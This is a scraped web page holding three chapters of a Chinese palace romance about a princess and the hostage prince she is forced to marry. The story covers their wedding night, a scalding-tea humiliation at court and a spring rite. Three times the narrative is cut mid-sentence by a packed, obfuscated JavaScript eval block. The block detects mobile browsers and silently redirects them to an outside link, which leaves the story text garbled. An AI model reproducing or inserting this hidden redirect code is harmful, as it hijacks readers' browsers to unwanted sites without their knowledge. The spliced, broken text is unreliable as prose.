;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956484|193144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“请公主下轿!”喜婆尖利的嗓音将容与惊得浑身一激灵。 她连忙整了整颠得凌乱的盖头,起身下轿。 微凉的小手刚刚伸出轿帘,就被一只炙热滚烫的大掌接了过去,指尖的触感是这么多年来从不曾接触过的粗粝,令容与的动作不由一顿。 这不是喜婆的手,也不是嘉穗或丰禾的手!这不会是…… 大概是看出她动作中的迟疑,那只宽厚大掌的主人沉声开口:“臣尉朔,见过清阳公主。” 这声音低沉、浑厚,还有一丝莫名的冷意,入耳的一瞬,容与的指尖不由一颤。 也许是双眼被红盖头遮掩了个彻底,她此时的听觉变得异常敏锐。 她无端生出一种错觉,这个声音好像在何处听到过? 可是怎么会呢,虽然这个名叫尉朔的男子即将成为她的驸马,但她从不曾见过此人。 下一刻,她冰凉发颤的指尖就被温暖的掌心紧紧包裹住。 一瞬间,容与脑中轰然空白,只能本能地随着身边之人向前走去。 周围是一片嘈杂,可此刻容与只能听到自己“砰砰”的心跳声,以及身侧之人沉稳的步伐声。 此时的尉朔也同样如此,即使身后锣鼓喧天,他却能清晰感受到自己杂乱的心跳。 手心里的那只小手好软好柔,这大概就是大晟人所说的像缎子一般的触感吧,虽然他长这么大还从未亲手摸过绸缎是什么样子,可如今想来也不过如此吧。 只可惜这副精贵的皮囊下却藏着一副比蛇蝎还要狠毒的心肠,这细嫩的皮肉不知是多少普通百姓的血肉所供养而出的,再美也不过是一支妖冶的罪恶之花。 这样想着,他握着容与的手骤然松开。 手上突然一凉,容与愣在原地,抬起的手举着也不是,放下也不是。 这尉朔晾了她一次还不够,今天还要当着众多宾客的面落她的面子? 还好未等容与发作,喜娘的声音便及时响起:“吉时已至,请公主驸马拜堂!” “一拜天地良缘,风调雨顺;二拜高堂之恩,福寿安康;三拜夫妻同心,琴瑟和鸣!” …… 一直到安坐在新房的喜床上,容与依然有一种如置身于梦中的虚无。 婚就这样成了,以后清阳公主驸马的名号就被尉朔这样一个无才无德的人占了。 想着方才那人故意给她难堪,容与越想越不忿。 趁着尉朔还在前厅的宴席上应酬,她连忙唤来守在门外的丰禾:“丰禾,你过来。” 听到公主叫她,丰禾连忙小跑进来:“公主,您饿了吧,奴婢去给您取些吃食来。” 从天还未亮一直折腾到现在,她家公主何曾饿过这么久,真是受苦了。 虽然腹中已经叫个不停,可容与只是摇了摇头,趁着尉朔尚未过来,她还有更要紧的事情。 “不必,叫你带来的东西可带了?” “带了,我可连嘉穗都特意瞒着了。”虽不知公主要这东西做甚,但既然是公主的吩咐她自然没有不听的。 容与脸上露出了些少见的狡黠,她凑到丰禾耳边小声嘱咐了几句。 呵,这可是她特意为这位好驸马备下的。 尉朔,今晚的洞房花烛夜,你可要好好享用。 8. 洞房 天色全然黑透之时,丰禾鬼鬼祟祟小跑进新房:“公主,前头的宴席散了,驸马正往新房这边过来了。” 容与挑眉,点头示意她退下,自己一双小手却在宽大喜服的遮挡下悄悄握住,扯紧身下的大红色鸳鸯床单。 半炷香后,房门发出两声“吱呀”,紧接着是男子略显沉重的脚步声。 察泰人的酒量极好,尉朔自然也不例外,何况京城的酒还没有察泰半分烈,纵使被灌下不少,他此刻除了身上微微发热外,头脑仍是一片清明。 他清晰地看清新房中的一切,红烛摇曳,烛光昏暗,床榻上身着霞帔,头盖红布的女子正襟危坐,只露出一点白皙的指尖。 相对无言,沉默良久,尉朔就这样静静立在门边,一时不知该对这位晟国的公主说些什么。 就在踌躇之际,床榻上却传来一句甜腻的声音:“今日是你我的洞房花烛夜,驸马不来掀盖头吗?” 这声音清甜、稚嫩,有种不谙世事的烂漫,让人很难与那嚣张跋扈、草菅人命的清阳公主联系起来。 尉朔一愣,顿了顿还是向容与的方向走去,直至仅有半步之遥时才缓缓停住。 “公主,时候不早了,我先出去转转,你早些梳洗歇下吧。” 容与秀眉微蹙,他这意思,难道是不想掀盖头了? 那她精心准备的好戏可怎么上演,这可不行! 她心眼一转,故意放软了嗓子,话中满是钦慕:“虽未亲眼瞧过,可传闻中夫君身高八尺、仪表堂堂、精通弓马,实乃我心中良配,这婚事虽是父皇赐下的,可我心里也着实欢喜,是想与驸马好好过日子的。” 这话还未说完,容与盖头下的脸就不禁扭曲起来,几近作呕,还好这盖头厚实,尉朔看不出。 此言一出,尉朔也是僵在原地。他自小鲜少与女子接触,更何况察泰的女子都是泼辣大方的,还从未有过女子对他如此温柔小意,他此刻只感觉到腹中的酒气上涌,几息间脸上就红了个透。 还好这女子头上顶着盖头,看不到他的窘态。 还未等反应,他便突然感觉到袖口一紧,低头看去,只见一只白皙似雪的小手正轻轻捻住他的袖口,一下下摇晃着。 “夫君,你也奔波一天了,站着累不累,”她一边说着,一边伸出另一只手轻轻点了点床榻边紧挨着她的位置,柔声道,“不如,咱们坐下说话。” 尉朔向她手指的位置看去,忽然薄唇微勾。 还未等容与想好再使些什么招数引诱时,他竟已经痛痛快快答应下来。 “好呀,那就如公主所言。” 这人这么好骗?真是边陲小国来的,没见过世面,只需勾勾手指就能叫他乖乖丢了魂。 这样想着,容与很是自得,可下一瞬她突然猝不及防叫了出来:“啊,你做什么?” 她只感觉到自己身子一轻,整个人就霎时间腾空了,男子两只坚硬如铁棍的臂膀一只拖着她的腿弯,一只横亘在她腰间,她就这样被稳稳拖起在半空,动弹不得。 耳边传来压抑着笑意的声音:“公主留给我的位置看起来更软和,所以我想与公主换个位置,公主坐那边,我坐公主这边。” 感觉到拖着自己的一双手臂越来越低,好像马上就要将自己放到床榻的另一侧了,容与整个人都陡然绷紧。 就在马上被放下之时,她突然抬手紧紧搂住尉朔的脖颈,拼命将自己牢牢黏在男子壮硕的身躯上,怎么都不肯下来。 “公主这是怎么了?我特意将软和的那边留给你,你还反倒不乐意了?” 事到如今,容与哪里还不明白。 她一边将身子紧紧蜷缩在男子怀里,一边气急败坏地扯下头上的盖头:“你是不是早看出那边的床单底下放了什么,估计想消遣我?” 四目相对的一瞬,两人却都双双愣住了。 “李满仓?” “明懿公主?” 还是容与率先反应过来,慌乱地从尉朔怀中跳了下去,只是这人太高,害得她摇晃几下才堪堪站稳。 “额,谁说本宫是明懿公主了?听好了,本宫行不更名,坐不改姓,清阳公主褚容与是也,明明是你认错本宫身份,本宫没治你不敬之罪已是开恩了!” 尉朔随意拍了拍骤然空出的双手,接着将两臂抱在胸前,一双鹰隼般凌厉的眼睛好整以暇地盯着对面趾高气昂的女子。 他还头一次见到,骗人还能如此理直气壮。 不过自己也骗了她,就算扯平了。 可这女子显然没想放过他,她叉腰质问道:“老实交代,你为何要装成李满仓?你个骗子!” 好吧,尉朔承认他确实说谎了,可这都是迫不得已,他们察泰人善武、善骑,却独独不会骗人。 为了让这女子不要再追问自己冒充李满仓的事情,尉朔赶紧扯过话题:“所以清阳公主能说说,那床单下面究竟放了什么吗?” 容与心里一紧,当然不能说,毕竟算计“新婚夫婿”也不是什么光彩的事。 见她直直立在那里,一副故作骄傲的姿态,尉朔心里暗笑:很好,那便是心虚了。 趁容与不备,他突然伸手将床单掀了起来。 当床单下的景象暴露在二人眼前时,尉朔不禁瞪大双眼,只见那是密密麻麻的灰褐色小球,每个上面都布满尖刺。 “这是苍耳?” 这么多苍耳,他若是真的毫无防备地坐上去,非得被当场扎成刺猬不可,果然是清阳公主,够毒! 容与愕然:“你竟然认识苍耳?” 平常来往的京城贵族们从没一人认识这东西,她也是在郊外采集植物种子时偶然遇到的,发现这小刺球还能入药,便特意带回去种在了别院里。 “呵,小小苍耳有什么不认得?这东西在我们那里遍地都是,被这些小玩意扎一下可不轻呀。” 他直直盯着容与,锋利的眼神如审讯犯人一般。 尉朔本就比寻常男子还要高大,周身的气势压得容与喘不过气来,可这里是公主府,明明她才是这里的主人。 她强装镇定地挺直脊背:“额,本宫也不知这东西怎么会出现在床上,可能是哪里的野猫不经意带进来的吧,本宫这就吩咐人将它们清理了。” “不必麻烦了。” 男子直接脱下大红色的外袍,直接往床上一扫,那些邪恶的小刺球便全都粘在外袍上扫了下来,他就这样随意将沾上刺球的外袍团了团,随手扔在墙角。 看着面前只着一件里衣的高大男子,容与后知后觉地红了脸。 她连忙捂着眼睛背过身去:“你穿成这个样子……成何体统!” 只听背后一声毫不在意的嗤笑:“呵,又不是没穿,矫情。” 容与怎会善罢甘休 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看着他只着一件单薄的里衣,身上再无他物,容与撇了撇嘴还是从柜子里抱出一张崭新的被子。 正想要将被子给他盖上,男子却机警地睁开双目,一双漆黑的眸子在黑夜中如鹰隼一般,唬了容与一跳。 她没好气地将被子一把扔在他身上,自己去床上躺下,拉上被子囫囵睡下。 可不知是因为换了新的府邸,还是不习惯屋里多了一个人,容与翻来覆去怎么都睡不着,她只能闭目养神。 忽然,卧榻那边好像发出一阵窸窣的动静,接着是刻意放轻的脚步声。 那脚步声,好像是往床这边来了! 容与屏息凝神,紧闭着双眼佯装出已经熟睡的样子。 黑暗中,她感觉到好像有什么庞然大物缓缓凑近,下一刻,一股滚烫的的呼吸喷洒在她脸上,烫得她浑身的温度也随之攀升。 容与虽紧闭双目,但这粗重热烈的呼吸声实在是令人无法忽略,她甚至能清楚地感知到这人正一点一点俯下身子,在与她只有咫尺之遥的地方逡巡着什么。 漆黑的夜幕之下,万籁俱寂,只有二人愈发粗重的呼吸声交缠在一起,逐渐分不清彼此。 大概是常常在漆黑的山野间奔走的缘故,即使在夜间,尉朔的双目也能清晰视物。 他看见眼前的女子浑身僵硬地平躺着,大红喜被下隆起小小的一团,随着凌乱的呼吸一起一伏,两扇又长又翘的睫毛微微颤抖着,如两只神秘的黑色雨蝶振翅欲飞。 感觉到那团热源突然停滞不动,容与终于忍不住了。 她紧张地向被子里缩了缩:“你……要做什么?” 黑暗中,她听到男子喉咙滚动了两下,口中的声音有些喑哑:“公主您……” 容与闭眼,咬牙,还未等他说完便心一横:“我准备好了!” 洞房花烛夜要做什么,成亲前嬷嬷都已经仔细讲过了,既然接受了这门婚事,她自然也没想过抱着贞洁牌坊过一辈子。 再说,这人虽邋遢无礼了些,但从上次救她之事来看,本性倒也不坏。 只是他身量那么高,那么壮,不知会不会很痛。 男子滚烫的呼吸愈来愈近,肆意喷洒在她的脸颊上、脖颈侧…… 9. 回门 直至那喑哑的声音再次响起在她耳侧:“公主让让。” 让让?办这事儿还有位置要求呢?嬷嬷也没讲过呀。 她不明所以,只好听从尉朔所言微微侧身。 紧接着,只见男人一弯腰,朝她身上伏过来。 等了一会,那人却好像保持着这个姿势不再动弹了。 容与心里打鼓,难道……他也不会? 犹豫了许久,她还是在黑暗中睁开眼睛,却看到这人的手已经伸进床榻里侧,正在被褥下认真摸索着什么。 还未等她开口,这人却率先起了身,只听他手中“咯吱”一声,两片剥离开来的花生壳便应声坠地,紧接着他手上一扬,几粒圆滚滚的花生仁就进了口。 容与一愣,往他手中看去,只见他两只大手抓满了花生、桂圆、红枣。 原来他刚才摸索半天,只为了捡这些吃食,亏得她还自作多情,以为这男人是要…… 容与羞得满脸通红,而一旁的尉朔却不紧不慢,熟练地将枣核往地上一吐,撇了撇嘴。 “公主又生气了?我吃点零嘴也不成,你们晟国人也不至于如此小气吧。” 方才在前厅被灌了太多酒水,未来得及吃几口热菜热饭,这会儿酒劲散了,肚子里倒是空得难受。 饿得睡不着,就突然想起那喜床上好像撒了不少讨彩头的干果,越想越觉得腹饿嘴馋。 尉朔想着那位娇气的公主累了一天,估摸着也睡熟了,索性偷摸着起身来摸些吃的,谁想竟被抓了个正着。 一时间,屋中只有咯吱咯吱的咀嚼声。 “谁叫你吃了,这可是用来讨彩头的。” 尉朔点点头,往嘴里塞的动作却一点不停:“不愧是富饶的晟国,如此宝贵的食物也能用来讨个彩头就丢弃不要了,真是浪费。” 看着他两腮嘟囔着,还留下一地花生壳,容与双拳紧握:“你……” 尉朔也不怕她,就这样一边嚼着,一边居高临下地看着她气急败坏的样子。 “你住嘴……给本宫留点!” 从天还未亮她便被嬷嬷拽起来梳妆,整整一天水米未进,此刻已经饿得头昏眼花,有点吃的就行了,哪里还顾得上味道如何。 尉朔一愣,他以为这位公主要叫人再打他十大板呢,没想到憋了半天,竟是要和他抢吃的。 “公主也吃这个?” 容与咬牙切齿:“你吃得,本宫怎就吃不得,这本来就是本宫府里的东西。” 她上前一步,一把夺过几颗红枣,还不忘拿了帕子一个个擦拭表皮的灰尘,还未等她挨个擦完,尉朔手里的已经全部囫囵吃了个干净。 他看着容与细细擦拭的动作,忍不住嗤笑一声:“这么嫌弃,为何不叫你家下人给你做点精致的吃食,偏要与我抢这不干不净的?” 容与瞪了他一眼:“都这么晚了,你不睡,他们还要睡呢。” 尉朔听后不置可否地点点头,他可不信这位心狠手辣打死流民的娇贵公主真的知晓体恤下人,不过是想装装好人罢了。 这女子恐怕还不知晓他已经知道了那些恶事吧,若是妄图通过装好人来隐藏真面目,那还是省省力气吧。 真是没想到这清阳公主不仅恶毒,还虚伪,若不是他如今不得不寄人篱下,按照他们察泰人的直爽性子,早就直接给她难看了。 话不投机半句多,尉朔无意再与这位既恶毒又虚伪的公主废话半句。 将嘴里最后一颗枣核吐在容与床前后,他往身上随手一擦,转身躺回卧榻。 “行吧,那你早点睡,我先睡了。” 不等容与发作,那边已经传来悠长的呼吸声。 看着满地的狼藉,容与恶心得直皱眉。 这个尉朔,虽然比她想象中好看了点吧,但是却比她预料的更糙、更脏、更无礼、更讨厌……她真是一刻也不想再看到这个人了。 她在心里暗暗安慰自己,新婚之夜将驸马赶出房去实在不好听,再忍一忍,忍过今夜,就将他赶去睡柴房! * 也许是房间里突然多了个陌生男人,也许是心里憋着气,容与也不知自己翻来覆去了多久才入睡。 第二日一早,她是被嘉穗唤醒的:“公主不能再睡了,今日还要进宫谢恩呢。” 容与迷迷糊糊睁开眼,下意识往对面的卧榻看去,只见上面只剩下一团凌乱的薄被。 “尉朔呢?” “驸马正在更衣,还有一事……” 容与看出她有话要说:“直说便是。” 嘉穗红着脸:“嬷嬷正等在门外,要收昨夜的喜帕呢。” 此言一出,容与也猝不及防地红了脸,她连忙将手伸进被窝里,摸索了半天才找到皱巴巴的纯白丝帕。 “公主,这……” 就在这时,旁边传来窸窣的声响,容与余光中瞥到尉朔换好衣裳从屏风后走过来的身影,她挥挥手示意嘉穗先出去。 接着冲尉朔喊道:“你过来!” “又有何事?” 容与没好气道:“你衣襟都系反了,难道就打算这样出门不成,就算你不在乎,本宫还嫌丢脸呢。” 尉朔低头一看,确实是反了,可他捣鼓了一早晨,已经尽力了。 “你们晟国的衣裳可真是麻烦。” 他一边嘟囔,一边直接将衣带抽开,下一刻,一片精壮的胸膛就□□地闯入容与眼帘。 “你……”她长这么大还是第一次看到男子的身子,一时间愣在原地,忘了该如何反应。 等反应过来时,她连忙捂住双眼:“你这个人怎么随地脱衣裳呀!” 尉朔无奈,今日脱光了也是错,昨夜留了件里衣也是错,究竟要他怎样。 他愈发没好气:“我又没在外头脱,再说,我们察泰的汉子平日里也经常光着膀子,若是你去了察泰,直接将眼睛戳瞎好了。” “这是京城,不是你们察泰,再说,本宫这辈子都不可能去那个鬼地方!” 拌嘴间,尉朔已经三两下重新穿好了衣裳,拔腿就要往外走。 容与连忙叫住:“等等。” “又怎么了?” 当看见她手中的洁白丝帕时,尉朔恍然大悟,成婚前宫里也曾派人教过他晟国的成婚礼节,他自然知晓这方帕子是做什么用的。 纵然脸上好像有把火在燃烧,他仍然装作满不在意的样子:“割点血不就得了。” 容与为难道:“可是这屋里没刀。” 尉朔弯腰,从靴筒里抽出一把短匕扔给她。 原本应是冰凉的刀鞘上还沾着男人滚烫的体温,容与此时也来不及嫌弃,她面色讪讪:“你这刀割起人来疼不疼呀?” “不知,”刀割起皮肉哪有不疼的,她这是哪门子的问题,不过转瞬间,他又起了一丝捉弄的心思。 他弯腰,一点点靠近女子,用最阴森冷厉的声音缓缓道:“因为被它割过的人,都再也说不出话了。” “砰”一声,匕首骤然坠地,而那个原本握着匕首的女子已经花容失色地跌坐在床上。 尉朔帮她捡起来,塞回她手中:“嬷嬷就要进来了,公主还不抓紧。” 可容与此时连手指都在发抖,能握得住刀柄已是不易,哪里狠得下心对自己动手? 她卷起袖口,在白皙的臂膀上比划了许久,可终究落不下刀。 而门外已经响起嬷嬷催促的声音:“殿下,老奴进去了?” 尉朔冷眼瞧着,可不知为何,那露出的半截雪白手臂晃得他心烦意乱,心里压抑不住地升起一丝无法言说的焦躁。 “喏。”他直接卷起衣袖,将自己粗壮的胳膊伸了过去。 容与一愣,有些不可置信。 “快点吧。”尉朔不耐烦道。 容与两只手一起攥住匕首,尽力稳住颤抖的动作:“多谢了,我尽量轻一点。” 尉朔嗤笑,装了这么久害怕,不就是想等他主动吗,又在这装好人,虚伪。 若不是嫌她太拖拉,自己才懒得帮忙呢。 当一切事毕,二人坐在前往皇宫的马车上时,尉朔无意摸了摸手指上那道浅得几乎摸不出的疤痕。 呵,如此恶毒之人竟能下这么轻的手?真会装。 * 两人一路无言,也算相安无事。 踏进柔仪宫时,皇上刚刚去了前朝,只有张贵妃端坐殿中,身后站着手提茶壶的兰嬷嬷。 当看到尉朔时,贵妃面色一僵,她从未想到一个穷乡僻壤的小质子竟生得如此高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956486|193144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大俊朗,除了皮肤粗糙些,与京城的那些贵公子相比也不差什么。 使了个眼色后,兰嬷嬷会意提壶上前:“奴婢见过驸马,今日乃是驸马第一次拜见贵妃娘娘,按理是要敬茶的。” 尉朔颔首,顺从地接过茶盏,刚刚拿稳,兰嬷嬷便将茶壶提起,冒着滚烫热气的茶水倾泻而下。 “嘶!”不知有意无意,水珠竟纷纷溅落在男子手上,顷刻间便烫出一片触目惊心的红色。 而兰嬷嬷恍若未见,即使茶水满得已然溢出,她仍保持着倒茶的动作。 随着滚烫的茶水一股接着一股泼在手上,容与清晰地看到尉朔的手臂开始微微发抖。 他这么一个皮糙肉厚之人都开始受不住了,可想而知是有多痛苦。 她连忙开口喝止:“嬷嬷,住手!” 却听到贵妃一声冷笑:“嬷嬷,继续!” “哗啦!”又一股沸水倾倒而出。 下一刻,却只听兰嬷嬷一声惊呼:“公主小心!” 只见容与已经伸出手去,两只细白的小手毅然决然钻进滚烫的水流中,紧紧盖在男子竭力端着茶盏的双手上。 即使明艳的五官都因为剧烈的疼痛纠结在一起,她仍保持着相护的动作,没有丝毫退缩。 兰嬷嬷见状连忙停下倒水的动作,可容与娇嫩的手背还是不免烫伤,触目惊心的水泡密密麻麻。 她顾不上锥心的疼痛,只连忙转向尉朔:“你还好吧?” “呵。”男子冷笑一声,并不领情。 他将手上的茶盏重重一放,朗声道:“贵妃娘娘,如今这礼也行了,茶也敬了,若无他事,臣就先行告退了。” 说完,他便干脆利落地转身离去,连一个眼神也没有留给一旁不知所措的容与。 独自留在殿中的容与抬眸望向熟悉又陌生的贵妃:“母妃,你今日是不是太过了些?” 贵妃不以为意:“他只不过是一个小国的质子罢了,打乱了本宫的计划就该受到惩罚,怎么,你倒是心疼了。” 见容与不应,她更加咄咄逼人:“怎么,才跟他过了一夜就帮着外人来对付自己的母妃了?呵,知道的你是金尊玉贵的公主,不知道的还当你是勾栏里巴着男人的贱妇呢!” “够了!”容与忍无可忍,她强迫自己冷静下来:“母妃,儿臣不是在帮尉朔,而是帮你,赐婚的旨意是父皇下的,与尉朔无关,无论他是质子也好,平民也罢,您都不该滥用私刑!” 她说完便转身向着尉朔离开的方向追了出去,再也不顾贵妃歇斯底里的怒吼。 * “尉朔,你等等我呀!” 那男子身高腿长,一步顶得上她两步,容与一路小跑才终于在宫门口追上他。 “方才母妃为难你,你为什么不躲?” 尉朔斜睨她一眼:“躲?我只是一个质子,你们晟国的一句话不仅能决定我的生死,更能决定我族人的生死,你叫我如何敢躲?” 从踏出察泰的那一刻起,他就明白自己的使命,他肩上的担子远比任何人看到的都要重。 容与露出一抹愧疚:“方才的事,我替母妃向你道歉。” 不想尉朔却直接嗤笑出声:“清阳公主,你天天装模做样的不累吗?高高在上地施舍我这个卑贱的小国质子,是不是很有趣?” “你这是何意?” 既然她还要装作懵懂无辜,尉朔也索性不再掩饰:“将百姓赖以生存的粮种拿来取乐消遣,还打死走投无路的饥民,这难道不是公主你的所做所为吗?” 他握紧拳头竭力压制住心中的愤怒,一字一句道:“今日种种,也是你们母女早早串通好设下的局吧,羞辱我、折磨我,好让我老老实实地为你们当牛做马。” “还有那日在宫后苑中替我解围,亏我还以为是公主心善,不忍一个小小花匠丢了生计,其实也只是为了打我十大板出气吧,也难怪那十板打得如此之重,还蓄意嫁祸给明懿公主。” 容与无力解释:“不是……” 可话还未出口就被尉朔不屑打断:“公主放心,如今我察泰上下的性命全都握在你们晟国手中,我自然不敢生出丝毫异心。” 他加重语气:“所以公主以后也不必再装良善了,我都替你觉得累。” 10. 耕礼 回府的马车上,嘉穗心疼地为容与上药。 只见那双原本秀气的双手已经面目全非,嘉穗每轻触一下,容与都要疼得浑身一颤,就算如此,她仍死死咬住嘴唇,不让眼眶中打转的泪珠落下。 而另一侧的尉朔分明听到了这边的低声啜泣,可他偏偏作出一副无动于衷的冷漠架势,只是目不斜视地“观赏”着窗外的景色。 直到回到寝屋中,嘉穗终于忍不住问道:“公主,您为何不向驸马解释清楚呢,虐打流民之事您分明是被陷害的。” “陷害?连与我血脉相连的母妃和兄长都不信我,我难道还指望一个外人会相信吗?” 说着,她叉腰冷哼:“再说了,他尉朔算是个什么东西,本宫凭什么向他解释?” 既然这人不识好歹,那她便将这个“恶人”做个彻底。 这样想着,容与嘴角勾起一丝狡黠:“从今日起,将他的东西全都搬到柴房去,本宫就赏他以后都住在那了。” 他不是说要老老实实当牛做马吗,那就如他所愿。 嘉穗连忙劝道:“公主三思呀,趁着如今您和驸马之间还有转圜的余地,不如将事说开了为妙,若是真的将驸马赶去柴房,这夫妻情分恐怕就真的尽了。” 容与高傲地仰起头,愤愤道:“本宫是大晟的公主,凭什么向一个小国质子低头,本宫心意已决,不必再说了。” …… 入夜,躺在又软又宽敞的大床上,容与却总是不经意瞥向那张空荡荡的卧榻。 而昨夜睡在那里的人此刻正躺在一堆柴垛上。 辉山委屈巴巴的:“主子,真是苦了你了,清阳公主果然如传闻般狠毒,这苦日子不知还要过多久。” 自古以来,质子踏出故土的那一刻,便从此变成无根的浮萍,颠沛流离再由不得自己。 运气好的许多年后还能回到故国,即使故人不再,物是人非,终究也算是落叶归根了;可更多的只能老死异乡,从此故土只作故梦。 尉朔拍了拍他尚且稚嫩的后背:“不苦,别忘了咱们此行是为了察泰,若是我多吃点苦他们就能过得好些,那这苦尝着也是甜的。” 他仰头看向窗外的圆月,不知道族人们此刻是否在同一轮圆月下安然入睡,不知阿爹腿上的寒疾可好些了,不知阿娘的胃病可曾舒缓些。 可惜多想无益,他将被子蒙在头上想要快些入睡,只要睡着了,睁开眼便又是崭新的一天。 可一向睡眠极好的人此刻却翻来覆去怎么也睡不着。 只要一闭上眼睛,脑海就不禁浮现起那双被烫得惨不忍睹的小手,还有那双红通通的眼睛。 “哗啦”一下,他索性翻身起来,从仅有的一个包裹里翻出一只破旧的瓷瓶。 本已沉沉睡去的辉山也被他惊醒,揉揉眼睛看清他手上的东西,他连忙接过来:“主子手疼了吧,我来给你上药。” 这可是离开察泰时夫人亲手塞过来的,是整个察泰最好的伤药,主子极为宝贝,即使路上磕破了腿都不曾舍得用上一点,这会儿将它取出来一定是手疼得很了。 可尉朔却制止了他打开瓶塞的动作:“我不疼,将它给公主送去。” 辉山一愣,转而不情不愿地往草垛上一躺:“我才不去,这伤药你自己都舍不得用,凭什么送给她,若不是她,你何至于沦落成这样。” “快去!” 辉山不肯:“要去你自己去,免得做了好事,人家还不领你的情。” 自己去?这个念头一冒出来,尉朔就立刻将它掐灭了,不行,没得让人家误会他讨好于她。 他于是沉了脸色:“怎么,出了察泰,你连我的话也不听了?” 看他真的生气了,辉山还是认命地站起身:“好,我去送。”一边说着,一边气鼓鼓地往正房走去。 他在主院外徘徊许久,这清阳公主害他主子被开水烫伤,不仅半点歉意没有,还要连累他家主子送出自己都舍不得用的伤药,凭什么呀? 正犹豫间,背后却传来嘉穗的声音:“辉山,你在这做什么,可是驸马有什么吩咐?” 看夫妻二人一直这样僵着,嘉穗虽嘴上不说,可心里早就替公主着急了。 因此一见到辉山来此,她心中立刻一喜。她知晓她家公主只是拉不下脸面,只要驸马先一步服个软,两个人不就和好了吗。 辉山眼珠一转,趁嘉穗不注意,将药瓶悄悄塞进袖口。 “没……没啥事儿,我就是睡不着,随便出来转转。” 还没等嘉穗再问,他已经一溜烟跑了个没影。 哼,想用他们察泰的伤药,门都没有。 * 两人就这样心照不宣地互不理睬,直到几日后小丫鬟叩响柴房的门。 “驸马,公主吩咐三日后便是春耕节,您需要与公主一起去普渡寺出席祭礼。” “知道了。” 两人如今已经达成了一种诡异的默契,无事便不碰面,省得互相嫌恶,若是有事便遣人知会一声,也好在人前装一对恩爱夫妻。 前往普渡寺的马车上,两人如以往一样各坐一边。 看到尉朔一如往常的冷脸,容与心中就来气,原以为这人在柴房吃了苦头,会趁着今日见面的机会好好赔罪,未曾想这人还真是个硬骨头。 这样想着,她就忍不住出言揶揄:“这柴房驸马住得可还喜欢?” “喜欢。” 看他面色如常不似作假,容与不甘心:“就没有老鼠什么的?” 小时候有次顽皮,她曾跑去宫里的柴房玩耍,结果碰到好些只又肥又圆,还黑乎乎、脏兮兮的老鼠,吓得她做了好几晚噩梦。 未曾想那男子不仅未露惧色,反咂巴了两下嘴:“说到这个,我还要谢谢公主呢,让我每夜都有鲜肉打打牙祭。” “你……” 尉朔看她气得跳脚,勾了勾唇:“那老鼠剥了皮烤烤,可是鲜嫩得很,下次我给公主留点尝尝。” “呕!” 看着容与掩唇呕得天昏地暗,小小的鼻头和脸颊都泛起一片潮红,不知为何,尉朔总觉得心里有种难以言说的畅快。 马车外,随侍的辉山与丰禾将车里的动静听的一清二楚。 丰禾不满嘟囔:“你家主子真会欺负人。” 辉山面上讪讪,心中也不禁腹诽:怎么来了京城,他家主子好的没学会,倒是学会骗人了。 他们察泰人怎么就成喜欢吃老鼠的野人了?那种东西,除了闹饥荒快要饿死的时候,他们寻常也是不吃的。 一直到容与快要将昨日的饭都呕出来了,马车才摇摇晃晃在山门前停下。 尉朔抬头看着眼前的山门若有所思,普渡寺他曾来过的,当时正撞上这位清阳公主来此求良缘。 看来这地方果然是不灵的。 “走吧,父皇他们应该都已经到了,咱们要快点,误了吉时恐怕又要挨骂了。”容与催促道。 尉朔闻声抬步,他身高腿长,只用了两步便追上容与先走了许多步的距离。 这山虽然不高,但容与平日鲜少出门,就算出行也不是轿子便是马车,只爬到半山腰就已经累得气喘吁吁。 她弯腰扶着膝盖,抬头一看尉朔已经站在前面的台阶上等着她了。 他本就比容与高上不少,此刻又站在几级台阶之上,更显得居高临下、颐指气使。 这人凭什么站的比她高! 心中不服,身上反而有了力气,容与提起裙摆,一鼓作气,三步并两步追上了尉朔。 可看到站在同一级台阶上却仍比她高出一头还多的男子,容与还嫌不够,便又闷头往前跑了几节,紧接着狠狠转身,居高临下地瞪了尉朔一眼。 尉朔不禁觉得好笑,之前竟然没看出来,这位清阳公主还如此争强好胜。 这样想着,他脚下的步伐不禁放慢不少。 就这样,一路上容与都成功压了尉朔一头,可还未得意多久,她就发觉大事不好! 她眼前忽然冒出闪烁的金星,腿脚也重得抬不起了,这还没到山顶呢,可如何是好? “上来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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有胆大的索性直接上前道:“求皇上严惩清阳公主,以告苍天!” 见皇上许久都未发话,明懿公主上前打圆场:“父皇,清阳妹妹当年之事虽确实荒唐,但这些年她也悔过了,应当不是因为她的缘故……” 宜和冷哼一声:“面上是悔过了,心里怎么想就只有天公知晓了,若不是她,还能是我们在场的谁呢?依儿臣看,不如卜上一卦,求天公明示。” 她这话令众人都拍手称好,既然是上天降罪,自然是直接求问上天最为稳妥。 太子将一只龟甲双手呈上。 圣上一只手负在身后,随着明黄色龙袍轻轻一挥,“啪嗒”一声,龟甲应声而落。 那龟甲迅速旋转,众人皆目不转睛,虽只有几息的功夫,可却显得尤为漫长。 最终,那龟甲戛然而止,而突起的一角指向的,恰恰就是容与所立之处! 